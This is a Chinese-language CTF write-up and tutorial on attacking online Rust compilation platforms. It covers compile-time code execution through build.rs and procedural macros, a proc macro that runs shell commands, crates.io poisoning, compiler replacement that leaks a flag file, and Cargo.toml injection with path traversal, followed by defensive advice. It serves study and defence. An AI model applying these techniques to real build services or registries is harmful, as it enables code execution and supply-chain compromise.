Rust编译平台常见攻击利用方法深度解析<\/h1>

1. Rust编译平台安全背景<\/h2>

随着Rust语言在高性能、内存安全等领域的优势被广泛认可，越来越多的开发者将其应用于后端开发，特别是在WebAssembly、微服务和高并发场景中。然而，Rust生态的快速扩张也带来了新的安全挑战：<\/p>

虽然语言本身通过所有权机制规避了内存安全问题<\/li>
但Web应用层的逻辑漏洞（如SQL注入、身份验证绕过）仍然存在<\/li>
第三方库的潜在缺陷（如未充分审计的unsafe代码滥用）<\/li>

对安全实践的过度自信（如忽略输入验证或错误配置CORS策略）<\/li> <\/ul>

在线编译环境随处可见，非常容易成为攻击的重点对象。<\/p>

2. Rust项目结构核心知识<\/h2>

2.1 Cargo.toml文件<\/h3>

Cargo.toml文件是Rust项目的"中枢神经"，扮演着至关重要的清单(Manifest)角色：<\/p>

定义包元数据（版本、作者、许可证）<\/li>
声明依赖关系（通过本地路径、Git仓库或crates.io引入第三方crate）<\/li>
定制编译策略（特性开关、优化级别、目标平台配置）<\/li>

扩展自定义构建脚本<\/li> <\/ul>

2.2 跨项目引用机制<\/h3>

workspace<\/strong>：管理多个关联的包（多crate项目），允许在单一仓库中组织多个crate，共享依赖和构建缓存<\/li>

过程宏(Procedural Macros)<\/strong>：Rust的元编程核心工具，允许在编译时对代码进行动态生成和转换<\/li> <\/ul>
3. Rust编译平台攻击利用方法<\/h2>
3.1 利用test宏快速白盒审计<\/h3>
Rust的test宏提供了便捷的测试方式：<\/p>
#[test]<\/span> <\/span><\/span>fn<\/span> test_audit<\/span>() { <\/span><\/span> \/\/ 审计代码逻辑 <\/span><\/span><\/span><\/span> let<\/span> result =<\/span> function_to_audit(input); <\/span><\/span> assert_eq!(result, expected_output); <\/span><\/span>} <\/span><\/span><\/code><\/pre>执行cargo test<\/code>即可完成快速代码审计测试。<\/p> 3.2 利用Cargo特性实现编译期执行<\/h3> 在仅编译不执行的平台中，可利用以下Cargo特性：<\/p> 3.2.1 Rust编译期的三种执行方式<\/h4> 过程宏编译执行<\/strong><\/li> build.rs执行<\/strong><\/li> 编译时计算(const fn)<\/strong>（通常难以利用）<\/li> <\/ol> 3.2.2 利用Cargo.toml实现main.rs自执行<\/h4> 通过修改Cargo.toml，将main.rs作为build脚本执行：<\/p> [package<\/span>] <\/span><\/span># ...其他配置<\/span> <\/span><\/span> <\/span><\/span>[build<\/span>] <\/span><\/span>path<\/span> = "src\/main.rs"<\/span> <\/span><\/span><\/code><\/pre>示例攻击代码（在当前目录创建测试文件）：<\/p> use<\/span> std::fs::File; <\/span><\/span> <\/span><\/span>fn<\/span> main<\/span>() { <\/span><\/span> File::create("test_file"<\/span>).unwrap(); <\/span><\/span>} <\/span><\/span><\/code><\/pre>即使不执行，仅编译也会生成文件。<\/p> 3.2.3 crates.io投毒攻击<\/h4> 利用依赖项的build.rs执行恶意代码：<\/p> 在crate的build.rs中植入恶意代码<\/li> 上传到crates.io<\/li> 目标项目引用该crate时自动执行<\/li> <\/ol> （注意：现在crates.io上传的库可以进行删除，溯源可能性降低）<\/p> 3.2.4 利用过程宏执行<\/h4> 上传包含过程宏代码的main.rs（第一次上传，编译不通过）<\/li> 获取文件名称与路径<\/li> 在第二个项目中通过Cargo.toml引用该文件：<\/li> <\/ol> [lib<\/span>] <\/span><\/span>proc-macro<\/span> = true<\/span> <\/span><\/span>path<\/span> = "\/path\/to\/first_upload\/main.rs"<\/span> <\/span><\/span><\/code><\/pre>过程宏示例代码：<\/p> use<\/span> proc_macro::TokenStream; <\/span><\/span> <\/span><\/span>#[proc_macro]<\/span> <\/span><\/span>pub<\/span> fn<\/span> malicious<\/span>(_: TokenStream<\/span>) -> TokenStream<\/span> { <\/span><\/span> \/\/ 恶意操作代码 <\/span><\/span><\/span><\/span> std::process::Command::new("sh"<\/span>).arg("-c"<\/span>).arg("malicious_command"<\/span>).output().unwrap(); <\/span><\/span> TokenStream::new() <\/span><\/span>} <\/span><\/span><\/code><\/pre>3.3 平台环境判断技术<\/h3> 3.3.1 判断系统和架构<\/h4> if<\/span> cfg!(target_os =<\/span> "linux"<\/span>) { <\/span><\/span> \/\/ Linux特定代码 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>3.3.2 读取目录判断Docker环境<\/h4> if<\/span> std::path::Path::new("\/.dockerenv"<\/span>).exists() { <\/span><\/span> \/\/ 在Docker容器中 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>3.3.3 命令执行收集信息<\/h4> let<\/span> output =<\/span> std::process::Command::new("uname"<\/span>).arg("-a"<\/span>).output().unwrap(); <\/span><\/span>let<\/span> info =<\/span> String::from_utf8_lossy(&<\/span>output.stdout); <\/span><\/span><\/code><\/pre>3.4 替换编译器攻击<\/h3> Linux中rustc和cargo的常见位置：<\/p> 系统级：<\/p> \/usr\/bin\/rustc<\/code><\/li> \/usr\/bin\/cargo<\/code><\/li> \/usr\/local\/bin\/rustc<\/code><\/li> \/usr\/local\/bin\/cargo<\/code><\/li> <\/ul> <\/li> 用户级：<\/p> ~\/.cargo\/bin\/rustc<\/code><\/li> ~\/.cargo\/bin\/cargo<\/code><\/li> <\/ul> <\/li> <\/ul> 替换示例（将flag作为错误状态码返回）：<\/p> use<\/span> std::fs; <\/span><\/span> <\/span><\/span>fn<\/span> main<\/span>() { <\/span><\/span> let<\/span> flag =<\/span> fs::read_to_string("\/flag"<\/span>).unwrap(); <\/span><\/span> for<\/span> c in<\/span> flag.chars() { <\/span><\/span> std::process::exit(c as<\/span> i32<\/span>); <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>4. 实战案例：Rust Action CTF题目分析<\/h2> 4.1 题目背景<\/h3> 模拟简化版GitHub Action系统，功能包括：<\/p> \/jobs\/list<\/code>：列出所有Job<\/li> \/jobs\/upload<\/code>：上传Job的zip压缩包<\/li> \/jobs\/{id}\/run<\/code>：运行指定Job<\/li> \/artifacts\/list<\/code>：列出所有构建产物<\/li> \/artifacts\/{id}<\/code>：下载指定构建产物<\/li> <\/ul> 4.2 漏洞分析<\/h3> config.toml关键配置<\/strong>：<\/p> [server<\/span>] <\/span><\/span>host<\/span> = "0.0.0.0"<\/span> <\/span><\/span>port<\/span> = 8080<\/span> <\/span><\/span> <\/span><\/span>[storage<\/span>] <\/span><\/span>jobs_dir<\/span> = ".\/data\/jobs"<\/span> <\/span><\/span>artifacts_dir<\/span> = ".\/data\/artifacts"<\/span> <\/span><\/span><\/code><\/pre>主要漏洞点<\/strong>： route::upload_job<\/code>函数中不安全的Cargo.toml生成方式：<\/p> let<\/span> cargo_toml =<\/span> format!( <\/span><\/span> r#" <\/span><\/span><\/span> [package] <\/span><\/span><\/span> name = "job" <\/span><\/span><\/span> version = "0.1.0" <\/span><\/span><\/span> edition = "2021" <\/span><\/span><\/span> description = "{}" <\/span><\/span><\/span> <\/span><\/span><\/span> [dependencies] <\/span><\/span><\/span> "#<\/span>, <\/span><\/span> job.description \/\/ 未转义的用户输入 <\/span><\/span><\/span><\/span>); <\/span><\/span><\/code><\/pre>4.3 漏洞利用步骤<\/h3> 发现注入点<\/strong>：通过description字段注入任意Cargo.toml配置<\/li> 绕过文件限制<\/strong>：系统限制只能操作main.rs文件<\/li> 但过程宏需要lib.rs和main.rs两个文件<\/li> 解决方案：上传两个Job，利用路径穿越引用<\/li> <\/ul> <\/li> 具体利用过程<\/strong>：<\/li> <\/ol> Job A (定义过程宏)<\/strong>：<\/p> \/\/ 恶意过程宏代码 <\/span><\/span><\/span><\/code><\/pre>Job B (触发过程宏)<\/strong>：<\/p> [package<\/span>] <\/span><\/span># ...正常配置<\/span> <\/span><\/span> <\/span><\/span>[dependencies<\/span>] <\/span><\/span>malicious<\/span> = { path<\/span> = "..\/job_A"<\/span> } \/\/<\/span> 路径穿越引用<\/span> <\/span><\/span> <\/span><\/span>[lib<\/span>] <\/span><\/span>proc-macro<\/span> = true<\/span> <\/span><\/span><\/code><\/pre> 替换Cargo文件<\/strong>：利用过程宏执行命令替换Cargo文件<\/li> 替换后每次编译执行的错误代码即为flag<\/li> <\/ul> <\/li> <\/ol> 5. 防御建议<\/h2> 对Cargo.toml模板中的用户输入进行严格过滤<\/li> 限制path字段的路径访问范围<\/li> 禁止proc-macro等危险特性<\/li> 在沙箱环境中执行编译过程<\/li> 监控和限制build.rs的执行权限<\/li> 实施依赖库的严格审计机制<\/li> <\/ol> 6. 参考文献<\/h2> 阿里云CTF官方wp<\/li> Rust官方文档 - 过程宏<\/li> Cargo不稳定特性文档<\/li> crates.io发布指南<\/li> <\/ol>